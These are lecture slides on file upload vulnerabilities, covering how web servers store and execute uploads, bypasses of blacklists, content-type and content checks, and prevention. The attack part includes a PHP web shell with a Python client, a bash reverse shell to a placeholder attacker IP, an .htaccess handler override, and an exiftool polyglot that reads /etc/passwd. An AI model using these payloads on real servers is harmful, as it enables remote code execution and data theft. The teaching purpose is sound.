File Upload Vulnerabilities

Kameswari Chebrolu

Outline

- Background
- File Upload Vulnerabilities and their impact
- Common defenses
- Attacks against flawed implementation
- Prevention Strategies
- Summary

Background

- Files typically have a filename extension that identifies the file format
  - E.g. .cpp, .css, .jpg, .csv, .php, .py etc
- Can also contain a few bytes of metadata at the start of the file
  - Data describing the file and its properties
  - E.g. a jpeg file starts with ffd8 ffe0 0010 4a46 4946
- Files typically have a set of access permissions
  - Evaluated at the time of creation, modification and access

File Upload

- RFC1867 defines form-based file upload in HTML
- Client can use POST method to transfer the file to server
  - PUT and PATCH methods also allow, but not widely used
- File to be uploaded is included in the body of the request
  - Content-Type HTTP header is set to multipart/form-data
  - A “boundary” parameter is defined if uploading multiple files in one request

```
POST /images HTTP/1.1
Host: example.com
Content-Length: 12345
Content-Type: multipart/form-data;
boundary=--------------------------012345678901234567890123456

--------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg

[...binary content of example.jpg...]

--------------------------012345678901234567890123456
Content-Disposition: form-data; name="description"

This is an interesting description of my image.

--------------------------012345678901234567890123456
Content-Disposition: form-data; name="username"

Chotu
--------------------------012345678901234567890123456--
```

File Storage

- Files are stored in one of three ways
  - Most common: files written directly to the host's file system (local or network-attached disk storage)
    - Web server, often written to webroot (e.g. /var/www/html)
    - Web application can write in some other secure location
  - Can be written as records within a database, using a "binary data" type field (for small files)
  - Sent to external "Storage as A Service" (SaaS) platforms (e.g. S3)

How Served?

- Private: Uploaded files need to be served confidentially to the same user
  - E.g. Assignments in a course
  - Such access control decisions are made by web application logic!
- Public: Uploaded files are served to all users
  - E.g. Slides or class notes
  - If static, often handled by web server!

- If non-executable file, file's content sent to clients in a HTTP response
- If file executable and server configured to execute such files, server executes and sends resulting output in HTTP response
  - Determined based on file extension or MIME type of an uploaded file (e.g. php)
- If the file type is executable, but the server is not configured to execute files
  - Typically responds with an error
  - In some cases, contents of file may be served as plain text
    - Can be exploited to leak source code and other sensitive information

Web shell

- Shell: a user interface to access operating system's services
  - Can be command line (e.g. bash) or GUI
  - Can be available directly or else across a network (via ssh or rdp)
- Web shell: web-based implementation of the shell concept
  - Legitimate use by admins
  - Malicious web shells – scripts uploaded by attacker to enable remote administration (unknown to owner)
  - Popular webshells: China Chopper, WSO, C99 and B374K

```php
<?php
define('PASSWORD', '482c811da5d5b4bc6d497ffa98491e38 ');

function auth($password)
{
   $input_password_hash  = md5($password);

   if (strcmp(PASSWORD, $input_password_hash ) == 0) {
       return TRUE;
   }else{
       return FALSE;
   }
}

if (isset($_GET['cmd']) && !empty($_GET['cmd']) &&
isset($_GET['password'])) {

   if (auth($_GET['password'])) {
           echo '<pre>'. exec($_GET['cmd']) .'<pre>';
   }else{
       die('Access denied!');
   }
}

?>
```

http://127.0.0.1/shell.php?password=password123&cmd=id

```python
import requests
from bs4 import BeautifulSoup

target = "http://127.0.0.1/shell.php"
password = "password123"
while 1:
    cmd = str(input("$ "))
    try:
        r = requests.get(target, params={'cmd': cmd,
'password':password})
        soup = BeautifulSoup(r.text, 'html.parser')
        print(soup.pre.text)
    except requests.exceptions.RequestException as e:
        print(e)
        sys.exit(1)
```

```
user@websec:~/project$ python3 shell-client.py
$ ls
shell.php

$ id
```

Outline

- ~~Background~~
- File Upload Vulnerabilities and their impact
- Common defenses
- Attacks against flawed implementation
- Prevention Strategies
- Summary

How File Upload Vulnerabilities Occur?

- Upload scenarios: Profile pictures, assignment submissions, verification of documents, bug-reports, image/video/document sharing etc
- File upload vulnerabilities occur when server fails to perform appropriate checks
  - File attributes such as type, name, content, or size should be checked

Impact

- Upload of executable files (web shell) → full control of server
- Upload files with same name → Overwrite critical files
- Upload large files → fill up available disk space → DOS

Successful file upload

Take over web server

Attacker

Vulnerable Web Application

Unrestricted File Uploads

- Server configuration:
  - Allow upload of any type of file (no checks)
    - E.g. Profile image upload allows upload of php script
  - Allow execution of server side scripts (php, java, python)
    - When photo URL is accessed, the corresponding php script is executed
- End Result: Can read and write arbitrary files, can use server to pivot attacks against other servers

- Attacker: uploads a web shell (exploit.php)
  - Via say a profile photo upload feature
  - Content of exploit.php: <?php echo system($_GET['command']); ?>
- Attacker accesses the script:
  - Assuming uploaded profile photos are shared under /var/www/images/
  - GET /var/www/images/exploit.php?command=id HTTP/1.1
    - This results in execution of script and output of command "id" is sent back in HTTP response
  - Can pass an arbitrary command and see results of the execution of the command

- Another script: <?php echo file_get_contents('/path/to/target/file'); ?>
  - Can read content of some target file

Reverse Webshell

- Traditional web shell: Attacker establishes a connection to the compromised server to execute commands
- Reverse web shell: compromised server initiates a connection to a attacker-controlled server
  - Attacker remotely execute commands on the compromised server without need for direct access!

- Steps:
  - Attacker uploads reverse web shell onto the server
  - Reverse webshell is accessed and executed on the server
  - Server initiates a connection to a pre-configured remote server controlled by the attacker
  - Attacker can send commands to the reverse webshell through the established connection
  - Commands are executed on compromised server, allowing attacker to perform malicious activities

- Advantages:
  - Avoids many common network security controls
  - Blends in with normal traffic, and is harder to detect
  - Connection can be long-lived

Uploads webshell.php to server

Get server to execute webshell.php

Attacker

Server

tcp session opened

Sets up the listener

Listener Process

Demo

- On one machine (attacker)
  - Set up a listener on port 4444 using Netcat (nc):
  - nc -l -p 4444
  - This command tells Netcat to listen (-l) on port (-p) 4444 for incoming connections

- One another machine (compromised server)
  - Execute the reverse shell command
  - bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'
    - In demo, set attacker-ip to localhost
      - We are using both on same machine
    - Ensure you are deep inside some folder when you do above, so you can see the difference!
  - Command starts an interactive Bash shell (bash -i) and redirects both stdout and stderr to a TCP connection to attacker-ip on port 4444
  - Additionally, it redirects stdin to the same destination as stdout

Outline

- ~~Background~~
- ~~File Upload Vulnerabilities and their impact~~
- Common defenses
- Attacks against flawed implementation
- Prevention Strategies
- Summary

Common Defenses

- Most websites do validate file uploads, but implementation can be flawed
  - Implementation attacks upcoming!
- Basic Idea: Uploaded files can't be executed as code!
  - Analyze uploaded files and reject any malicious ones!

- Host uploaded files on a Secure server
  - Host uploaded files in a content delivery network (CDN) such as Cloudflare or Akamai or cloud based storage like S3
  - Offloads the security burden to a third party
    - Uploaded files are treated as inert rather than executable objects
    - Uploaded web shells are defused

- If CDN/external storage not an option, take same steps as them to secure files
  - Prevent execution of dangerous file types
  - All files should be written to disk without executable permissions
  - Server configuration should prevent execution of scripts in certain folders (e.g. webroot)
  - Server itself should drop privileges after starting to some low-privileged user
    - Can handle user-requests but has very restricted filesystem access

- Maintain a blacklist of files
  - Don’t accept files ending in specified extensions
- Maintain a whitelist of files
  - Check if uploaded file extension matches the expected file type
  - Check if uploaded content itself matches desired type

Outline

- ~~Background~~
- ~~File Upload Vulnerabilities and their impact~~
- ~~Common defenses~~
- Attacks against Flawed Implementation
- Prevention Strategies
- Summary

Case Type: Flawed “Blacklisting of Files”

- Server blacklists potentially dangerous file extensions (e.g. .php) in upload
- In general, difficult to explicitly block every possible file extension

Details

- Recap: Server Configuration
  - Eg. Apache server: /etc/apache2/apache2.conf
    - LoadModule php_module /usr/lib/apache2/modules/libphp.so
    - AddType application/x-httpd-php .php
  - Instruct Apache to serve to process files with a .php extension by loading the PHP module
- Servers can allow developers to override or add to above global settings!
  - Can create special configuration files within individual directories for this
  - .htaccess for Apache and web.config for IIS

- Attack details:
  - Upload a configuration file first via upload feature of website
    - Assuming such uploads are not blocked! (remember blacklist!)
    - Should result in a post request with
      - Filename parameter set to .htaccess
      - Content-Type header set to text/plain
      - Contents of file set to
        - AddType application/x-httpd-php .xyz
  - Then upload a php payload (e.g. web shell as seen before) but change the extension to .xyz (from .php)

Other Methods

- File Extensions can be bypassed using classic obfuscation techniques as well!
- If **validation code is case sensitive**, upload file as exploit.pHp
  - Works only if **"later code that maps file extension to a MIME type" is not case sensitive**
- Provide multiple extensions (exploit.php.jpg)
  - File may be interpreted as either a PHP file or JPG image depending on code

- URL encoding (or double URL encoding) for dots, forward slashes etc
  - exploit%2Ephp
  - Value isn't decoded when validating the file extension, but is decoded later when executing
- Add semicolon or URL-encoded null byte characters before the file extension
  - E.g. exploit.php;.jpg or exploit.php%00.jpg
  - If validation is written in a high-level language like PHP or Java, above allowed
  - If lower-level functions in C/C++ are used during execution, it will process the right file extension
    - Semicolon or null will terminate the string post “php”

- If server attempts to strip or replace dangerous extensions, then attacker can play with the filename
  - E.g. exploit.p~~.php~~hp
- Many such techniques possible!

Case Type: Flawed Whitelisting (File Type Validation)

- Server expects specific file type (e.g. jpg)
- Recap: Browser uploads file in a POST request with content type multipart/form-data
  - Each part (field in the form) contains
    - Content-Disposition header
    - (often) Content-Type header
      - Tells the server the MIME type (e.g. image/jpg or text/plain)
  - Filled by client-side javascript or browser determines based on file content (e.g. jpeg)

```
POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data;
boundary=---------------------------012345678901234567890123456

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg

[...binary content of example.jpg...]

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="description"

This is an interesting description of my image.

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="username"

Chotu
---------------------------012345678901234567890123456--
```

- Server validates upload based on checking submitted Content-Type header
  - If server is expecting image files, it will allow types such as image/jpeg and image/png etc
  - But Content-Type header can be controlled by user (i.e. attacker)
    - Can easily construct such POST requests via ZAP
- Attack: In the post request sent, ensure
  - filename set to exploit.php
  - Content-Type header set to image/jpeg
  - Contents of file set some web shell payload

Case Type: Flawed Validation of File Content

- Verify if contents of the file actually match what is expected
  - E.g. is it an image?
    - Check its dimensions or header/footer or some fingerprint
    - An uploaded php file in place of image won't have any dimensions → reject it

- Can still be bypassed with special tools such as ExifTool
  - A command-line tool used for reading, writing, and editing metadata in a wide variety of file types
    - Particularly used with image files
- Attacks details:
  - Create a polyglot JPEG file which containing malicious php code within its metadata

- exiftool -Comment="<?php echo 'START' . file_get_contents('/etc/passwd') . 'STOP'; ?>" image-example.jpg -o polyglot.php
  - Adds PHP payload to the image's Comment field
  - Concatenates the contents of the /etc/passwd file between the strings 'START' and 'STOP', using PHP's file_get_contents() function
  - Saves the image with a .php extension
    - Can use some obfuscation or some other attack as needed to upload the php file

- Validation check at upload time passes since it is an image
- Later, when attacker accesses the php file, the web server will interpret the file as a PHP script
  - Will ignore all the legitimate data of the original image file
  - Will execute PHP payload found in comment section of the file
- Output may contain some random binary stuff corresponding to image!
- More details: https://www.synacktiv.com/en/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there

Case Type: Flawed "Server Disallowing Execution of Scripts"

- Recap: Web server configuration disallows execution of scripts in webroot

```
<Directory /var/www/html>
   # Disable script execution
   <FilesMatch "\.(php|cgi|pl|py|rb|sh|bash)$">
       Require all denied
   </FilesMatch>
</Directory>
```

- Say, attacker found some way to upload an executable file (e.g. php)
  - But execution is disallowed!

- Note: Server configuration can differ from directory to directory
  - Directories where user-supplied files are uploaded have much stricter controls than other locations
- Attacker can do path traversal and upload file in some other folder → server may execute the script

- Uploaded file content is a webshell
- Filename is set to ../images/exploit.php
  - Notice the "../" → path traversal
  - This saves the uploaded file in some other folder
- Then retrieve the file via "GET /var/www/html/../images/exploit.php"
  - The file permissions in this folder may allow execution!

Other File Upload Vulnerabilities

- One can upload malicious HTML files containing javascript resulting in XSS attacks **(XSS to be covered separately)**

Prevention

- Use an established framework for preprocessing file uploads
  - Much wider user-base → quick identification of vulnerabilities and fixes
  - Avoid your own validation mechanisms to the extent possible
    - E.g. check files dynamically for its MIME type with say PHP's mime_content_type library
- Check the file extension against a whitelist
  - Blacklists are easy to circumvent
- Make sure the filename doesn't contain any substrings that may be interpreted as a directory or a traversal sequence (../)

- Do not upload files to the server's permanent filesystem until they have been fully validated
  - Also scan for malicious content using an antivirus tool (e.g. VirusTotal)
- Set a maximum file size for uploaded files to prevent disk space exhaustion
  - Can be implemented client-side
    - To warn legitimate clients if their file is too large
  - But client-side checks for security issues should always be duplicated server side. Why?
- Rename file uploaded with unique and unpredictable names
  - Avoids overwriting sensitive files

- Opaque IDs can help avoid file upload vulnerabilities
  - Abstract file paths → prevent direct access to files through predictable filenames
- Scenario Without Opaque IDs (Vulnerable to Attack):
  - User uploaded files are stored with their original filenames in a directory (e.g., /uploads)
  - User can then access the file using a direct URL: http://example.com/uploads/shell.php

- Scenario With Opaque IDs (Protected System):
  - A unique random identifier (opaque id) generated when the file is uploaded
  - URL to access this file would be: http://example.com/uploads/78120g4a8
  - ID is stored in a database with metadata about the file
  - Even if an attacker uploads a web shell (shell.php), they cannot access it directly through the filename
    - The opaque id is not predictable

- Metadata should be redacted to prevent inadvertent information disclosure
  - e.g. path, GPS location
- Perform a vulnerability scan to find these type of vulnerabilities
  - E.g. Via Burpsuite, ZAP

Real Life Examples

- Remote code execution (RCE) via user submitted images: https://imagetragick.com/
  - ImageMagick flaw called ImageTragick!
- Symantec antivirus exploit by unpacking a RAR file: Uploaded files trigger vulnerabilities in antivirus software
  - https://bugs.chromium.org/p/project-zero/issues/detail?id=810

References

- https://portswigger.net/web-security/file-upload
- https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

Summary

- File Upload vulnerabilities occur when server fails to perform checks on files uploaded!
  - Especially dangerous if web shells can be uploaded which give full control!
  - Other dangers include overwriting files, DOS, remote code execution etc
- Most websites do some checks, but implementation flaws may lead to vulnerabilities
  - Improper server configuration, improper file type/content/extension validations
- Covered how to prevent these type of attacks as well!
  - Established frameworks, whitelists, opaque IDs, using CDN/cloud services etc